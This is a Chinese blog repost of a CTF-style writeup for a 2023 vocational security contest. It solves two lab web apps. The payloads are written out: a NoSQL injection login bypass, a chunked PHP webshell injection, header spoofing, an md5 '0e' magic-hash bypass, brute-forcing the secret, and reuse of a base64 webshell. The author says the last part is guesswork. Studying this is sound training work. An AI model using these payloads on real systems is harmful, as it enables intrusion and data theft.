当前位置:首页 » 《资源分享》 » 正文

2023年全国职业院校技能大赛信息安全管理与评估-3阶段web解析(writeup)

14 人参与  2024年04月01日 16:45  分类 : 《资源分享》  评论

点击全文阅读


# 人力资源管理系统

后续我也会分享其他资源到我的博客感兴趣的可以关注

2.1 复盘解析
访问靶机IP
请添加图片描述
在robots.txt里面能看到一个nosql.php,然后这里就会给出第一个flag请添加图片描述
来到nosql.php之后会发现是登入页面请添加图片描述
尝试弱口令(这里可以尝试 hydra+burp进行爆破) 这里随便输入一个账号密码显示登录失败请添加图片描述
MongoDB 与 RDBMS Where 语句的比较
操作格式范例RDBMS 中的类似语句
等于{:}db.love.find({“name”:“whoami”}).pretty()where name = ‘whoami’
小于{:{$lt:}}db.love.find({“age”:{$lt:19}}).pretty()where age < 19
小于或等于{:{$lte:}}db.love.find({“age”:{$lte:19}}).pretty()where likes <= 19
大于{:{$gt:}}db.love.find({“age”:{$gt:19}}).pretty()where likes > 19
大于或等于{:{$gte:}}db.love.find({“age”:{$gte:19}}).pretty()where likes >= 19
不等于{:{$ne:}}db.love.find({“age”:{$ne:19}}).pretty()where likes != 19

这里选了$get(大于)某个数的值会被列出

nosql.php?username[$gt]=&password[$gt]=

可以看到这里列出了所有的用户名密码,在这里就会得到此题的第二个flag
请添加图片描述

查看源代码可以发现页面给了两个参数提示一个o一个hint

<?php $o = intval($_GET['o']);   $hint = $_POST['hint']; ?>

请添加图片描述
尝试传入o跟hint,可以发现我们传入的被写入跟执行了请添加图片描述
那么这里写个shell进去,每写4个字符o都+4

o=1hint=<?= o=5hint=systo=9hint=em($o=13hint=_GETo=17hint=[1])o=21hint=;// 

在这就写入了一个shell请添加图片描述
执行一下ls命令,然后cat 一下/flag即可得到第三个flag

#邮件管理系统

直接访问页面会跳401未授权,这里我试了XFF头啥的绕过无果请添加图片描述
查看一下robots.txt发现提示了 weblogs_manage.php请添加图片描述
访问了一样跳401未授权,这里我就用了dirbuster的大目录字典扫出来一个emails请添加图片描述
访问发现可以目录遍历请添加图片描述
查看f1发现说因为编辑器备份文件泄露导致了安全漏洞请添加图片描述
这里就想到了vim编辑器那个,这里下载 .weblogs_manage.php.swp文件

wget 192.168.31.148/.weblogs_manage.php.swp 

新建一个weblogs_manage.php在vim编辑按R恢复

touch weblogs_manage.phpvim weblogs_manage.phpR

即可成功恢复源码请添加图片描述
这里主要代码是

<?phperror_reporting(0);if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){    header("Location: template/401.html");    exit();}$key1=$_REQUEST['key1'];if(!empty($key1)){    require_once 'next.php';    if(md5($key1)=="0e230420452993424058024229903331"){        $key2=$_REQUEST['key2'];        if(!empty($key2)){            for($i=0;$i<strlen($key2);$i++){                                $o=ord($key2[$i])^ord('o');                                if($o=="95" || $o=="32"){                    if(md5($key2)=="5bacf485801484d2ea1d0237782e6629"){                        $key3=$_REQUEST['key3'];                        if(!empty($key3)){                            if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){                                if($key3==$SECRET){                                    die($next); // log                                }                            }else{                                die("CODE: 3 Error!");                            }                        }                    }                }else{                    die("CODE: 2 Error!");                }            }        }    }else{        die("CODE: 1 Error!");    }}?>

首先需要绕过这个401

if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){    header("Location: template/401.html");    exit();}

只需要在请求的时候带上,这个一开始是看其他请求头的格式首字母大写然后_改-尝试出来的,这样即可绕过401

Internal-Auth: 10.10.10.1

请添加图片描述
接下来需要传入 k e y 1 − 3 来绕过限制,这里来到第一个 key1-3来绕过限制,这里来到第一个 key1−3来绕过限制,这里来到第一个key的限制,很明显是要一个md5加密后为0e的数字才能绕过

if(md5($key1)=="0e230420452993424058024229903331"

拿php去跑一下试试看,跑出来一个0e215962017

<?phpfor($i=0;$i<9999999999999;$i++){    $r="0e".$i;    if(md5($r)=="0e230420452993424058024229903331"){        die($r);    }}

请添加图片描述
成功过了第一个$key的限制请添加图片描述

第二个$key的限制比较麻烦,需要每一位^ord(‘o’)后等于95或者32
在这里插入图片描述
先遍历了所有字符看什么字符^后等于95 32 得到0O
在这里插入图片描述
那么就是由0O组成的字符串md5加密后要等于5bacf485801484d2ea1d0237782e6629请添加图片描述
这里我的思路就是去生成字典,然后我就去翻kali的字典生成工具,因为以前用过然后就找到了crunch请添加图片描述
请添加图片描述

生成一个1-16位0O组成的字典

crunch 1 16 0O  > dict

请添加图片描述

接下来就是有点难度的 k e y 3 , 他这里的条件是需要我们传入的 key3,他这里的条件是需要我们传入的 key3,他这里的条件是需要我们传入的key3等于他的 S E C R E T 这里的 SECRET这里的 SECRET这里的SECRET来自于上面的require_once ‘next.php’

if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){if($key3==$SECRET){    die($next); // log}

这里其实可以忽略第二个条件也就是strlen的长度比较只需要看 k e y 3 > key3> key3>SECRET这个条件,因为php里面两个字符串比较是一位一位比较的具体解释我这里用chatgpt的回答

当比较php中两个字符串变量key3和key3和SECRET的大小时,可以使用大于号(>)进行比较操作。具体流程如下:1.获取变量key3和key3和SECRET的字符串值。2.将这两个字符串按字典顺序逐个字符进行比较,直到找到第一个不同的字符为止。3.如果key3中的当前字符的keyASCII码大于key3中的当前字符的ASCII码大于SECRET中对应位置上的字符的ASCII码,则key3大于key3大于SECRET。4.如果key3中的当前字符的keyASCII码小于key3中的当前字符的ASCII码小于SECRET中对应位置上的字符的ASCII码,则key3小于key3小于SECRET。5.如果key3和key3和SECRET中的字符完全相同,则比较下一个字符。6.如果其中一个字符串比另一个字符串短,则较短的字符串被认为是较小的。7.如果两个字符串完全相同,则认为它们是相等的。8.比较过程结束后,根据比较结果返回布尔值(true或false),表示key3是否大于key3是否大于SECRET。

也可以通过一位一位的比较来获取正确的SECRET,比如这里我们输入1提示CODE3错误
请添加图片描述
输入2也错误输入3页面正常,那么得到第一位是2请添加图片描述
接下来可以用burp的Intruder模块来一位一位爆破出来,像这里爆破第一位字母有3个字母页面都为ture返回正常这里查一下ascii可以发现x是最小的x的前一位是w那么第五位就是w请添加图片描述
最终算出key3等于2023welc0me,传进去后得到一个txt地址/security_log_/log.txt
请添加图片描述
访问日志是一大堆乱糟糟的日志请添加图片描述
注意!!我做到这里比赛结束了后面的内容是我自己想的,可能跟真实比赛有出入仅供参考

把日志下载到本地然后grep正则提取出访问的文件内容

grep -oP '(?<=POST|GET)\s\S+(?= HTTP)' log.txt

请添加图片描述
然后burp批量访问一下通过aEahcEeh.php?oTGGW=zsqBtOR得到了flag-1请添加图片描述
然后paObZJkw.php?SjSMeB=wUWp发现是404但是是页面返回的是"There is nothing here."猜测是被入侵后留下的shell请添加图片描述
这里最后通过测试发现传入base64的值即可执行代码
paObZJkw.php?SjSMeB=cGhwaW5mbygpOw==请添加图片描述
然后cat /flag 结束
文章参考于https://blog.mo60.cn/index.php/archives/2023-China-Skills-Security-web1.html(这里有环境搭建教程)


点击全文阅读


本文链接:http://zhangshiyu.com/post/89115.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1